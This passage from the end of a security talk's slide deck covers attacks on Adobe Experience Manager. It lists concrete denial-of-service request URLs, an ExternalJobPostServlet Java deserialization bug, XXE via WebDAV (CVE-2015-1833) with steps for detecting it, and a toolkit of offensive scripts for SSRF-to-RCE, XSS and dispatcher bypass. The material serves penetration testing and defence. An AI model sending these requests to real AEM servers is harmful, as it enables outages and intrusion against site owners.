DoS is easy • /.ext.infinity.json • /.ext.infinity.json?tidy=true • /bin/querybuilder.json?type=nt:base&p.limit=-1 •

/bin/wcm/search/gql.servlet.json?query=type:base%20limit:..- 1&pathPrefix= • /content.assetsearch.json?query=*&start=0&limit=10&random=123* • */..assetsearch.json?query*=&start=0&limit=10&random=123 • /system/bgservlets/test.json?cycles=999999&interval=0&flushEvery=1111 11111 99/110

-

DoS is easy /content.ext.infinity.1..json?tidy=true 100/110

-

Other tricks

-

ExternalJobPostServlet javadeser • Old bug, affects AEM 5.5 – 6.1

• http://aempodcast.com/2016/podcast/aem-podcast-java-deserialization- bug/ • /libs/dam/cloud/proxy.json • Parameter file accepts Java serialized stream and passes to ObjectInputStream.readObject() 102/110

-

ExternalJobPostServlet javadeser Payload from oisdos tool 103/110

-

ExternalJobPostServlet javadeser 104/110

-

XXE via webdav • Old bug, CVE-2015-1833 • It’s possible

to read local files with PROPFIND/PROPPATCH • https://www.slideshare.net/0ang3el/what-should-a-hacker-know-about- webdav 105/110

-

XXE via webdav – webdav support is on? • Send

OPTIONS request • Allow headers in response contain webdav-related methods • Navigate to /crx/repository/test • 401 HTTP and WWW-Authenticate: Basic realm="Adobe CRX WebDAV" 106/110

-

AEM hacker toolset

-

AEM hacker toolset •https://github.com/0ang3el/aem-hacker.git • aem_hacker.py • aem_discoverer.py • aem_enum.py

• aem-rce-sling-script.sh • aem_ssrf2rce.py • aem_server.py & response.bin • You need VPS to run aem_hacker.py 108/110

-

AEM hacker toolset – aem-hacker.py • Sensitive nodes exposure via

DefaultGetServlet (/apps, /etc, /home, /var) • QueryByulderJsonServlet & QueryByulderFeedServlet & GQLSearchServlet exposure • PostServlet exposure • SSRFs checks • LoginStatusServlet & default creds check • SWF XSSes • WCMDebugFilter XSS • SuggestionHandler XSS • Log records exposure via AuditLogServlet • ExternalJobPostServlet javadeser • … 109/110 Tries to bypass AEM dispatcher!!!

-

THANK U! @0ang3el